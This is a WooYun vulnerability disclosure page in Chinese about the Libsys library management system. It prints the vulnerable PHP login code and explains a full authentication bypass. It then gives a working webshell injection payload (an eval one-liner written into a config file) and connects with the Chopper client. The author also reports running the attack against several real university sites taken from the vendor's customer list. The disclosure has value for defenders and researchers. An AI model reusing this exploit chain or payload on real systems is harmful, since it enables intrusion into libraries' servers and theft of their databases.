当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(31) 关注此漏洞

缺陷编号: WooYun-2014-85980

漏洞标题: 汇文Libsys图书管理系统全版本权限绕过+Getshell

相关厂商: libsys.com.cn

漏洞作者: Terry

提交时间: 2014-12-16 12:59

公开时间: 2015-01-22 13:00

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: webshell 逻辑错误 php源码审核 任意文件写入利用 php源码分析 webshell webshell

7人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-16: 细节已通知厂商并且等待厂商处理中
2014-12-21: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-02-14: 细节向核心白帽子及相关领域专家公开
2015-02-24: 细节向普通白帽子公开
2015-03-06: 细节向实习白帽子公开
2015-01-22: 细节向公众公开

简要描述:

RT

详细说明:

由于一个很低级的代码错误,导致可以登录Libsys任意图书系统后台,并且由于代码未做过滤可直接getshell。

漏洞证明:

该图书管理系统的用户量很大,全国很大一部分院校都在使用此系统。经测试3.5-5.0版本都存在此漏洞,因为存在getshell 和脱裤的风险,因此危害比较大。

官网部分用户列表:

1.png





我这里以最新的5.0版简单的作下分析,:

先看看存在漏洞的文件:admin/login.php

code 区域
session_start( );
if ( isset( $_REQUEST['username'] ) )
{
$strUser = trim( $_REQUEST['username'] );
$strInput = trim( $_REQUEST['passwd'] );
$strMsg = "用户名或者密码错误";
switch ( $strUser )
{
case "opac_admin" :
$strPassWd = $strPassWdFile;
$strMsg = verify_pwd( $strInput, $strPassWd );
$strUrl = "cfg_basic.php";
break;
case "view_admin" :
$strPassWd = $strPassWdView;
$strMsg = verify_pwd( $strInput, $strPassWd );
$strUrl = "cfg_review.php";
break;
default :
$strMsg = "用户名或者密码错误";
break;
}
if ( $strMsg == false )
{
$strMsg = "用户名或者密码错误";
}
else
{
$_SESSION['ADMIN_USER'] = $strUser;
header( "Location:".$strUrl );
}
}



通过代码分析发现后台有两个管理员,一个是用来配置网站信息的,一个是查看评论的。并且这两个用户名都是在代码里写死的,(那如果登录时不用这两个用户来登录呢,那会交给default处理),注意看default分支处理,这里会给$strMsg变赋值,即$strMsg不为false,那接下来会跳到else分支处理,会生成名为ADMIN_USER的session,并且将刚刚登录的错误的用户名值赋值给它。



接下来看看判断session的代码:

code 区域
session_start( );
if ( !isset( $_SESSION['ADMIN_USER'] ) )
{
header( "Location:login.php" );
exit( );
}



就这简单的一句判断是否为空,呵呵,写这代码的估计实习生。

接下来我们随意到官网找几个网站验证一下:

**.**.**.**:8080/

**.**.**.**:8080/

后台地址:URL+/admin/login.php

2.png



点击登录并修改用户名修改为其他值:

3.png



修改提交之后会提示 用户名或者密码错误,没关系接着我们直接访问配置文件即可:

数据库配置:URL+/include/hwopacpwd.php

4.png



网站配置:url+/include/hwopacpwd.php

5.png



至此我们可以随意修改图书管理系统的配置,试了官方的测试站点,问题同样存在。

接下来通过代码分析,发现更新配置时代码未做过滤,

code 区域
unction write_para( $strFileName, $strPara )
{
$fhandle = fopen( $strFileName, "wb" );
if ( $fhandle )
{
$strPara = "<?php\n".$strPara."\n?>";
if ( fwrite( $fhandle, $strPara ) )
{
fclose( $fhandle );
$strMsg = "数据修改成功。";
}
else
{
$strMsg = "数据修改失败。";
}
}
else
{
$strMsg = "数据修改失败。";
}
return $strMsg;
}





这样我们可以再在配置文件里插入任意内容,我们可以配置文件里追加一句话;

在配置全文索引文件夹路径时,修改

code 区域
c:/hwopac/index/

code 区域
c:/hwopac/index/";@eval($_POST['123']);//



之后我们打开被更新过配置的文件: /include/hwopacpwd.php

7.png



一句话已经写入成功,接下来菜刀连接即可

8.png



9.png



10.png



随便试了几家,成功拿下,裤子什么的那还不是分分钟的事。



修复方案:

做好判断,做好过滤

版权声明:转载请注明来源 Terry@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-01-22 13:00

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共3人评价):
登陆后才能进行评分
66.7%
33.4%
0%
0%
0%

评价

  1. 2014-12-16 13:06 | 一只猿 ( 普通白帽子 | Rank:510 漏洞数:94 | 硬件与无线通信研究方向)
    1

    希望厂商重视吧,各种漏洞

  2. 2014-12-16 14:18 | Vern 认证白帽子 ( 普通白帽子 | Rank:727 漏洞数:105 | Keep It Simple, Stupid)
    1

    目测楼主无锡大学生 汇文现在大学太常用了

  3. 2014-12-21 15:32 | Terry ( 实习白帽子 | Rank:70 漏洞数:10 )
    2

    居然忽略了 呵呵 那就等公开吧。突然发现网站路径那边贴错了,怪不得一直审核说无法重现,管理能帮修改下吗

  4. 2015-03-13 09:53 | uglyss ( 路人 | Rank:0 漏洞数:1 | WPF、Silverlight 样样不通...)
    0

    貌似汇文最近漏洞不少的说...

登录后才能发表评论,请先 登录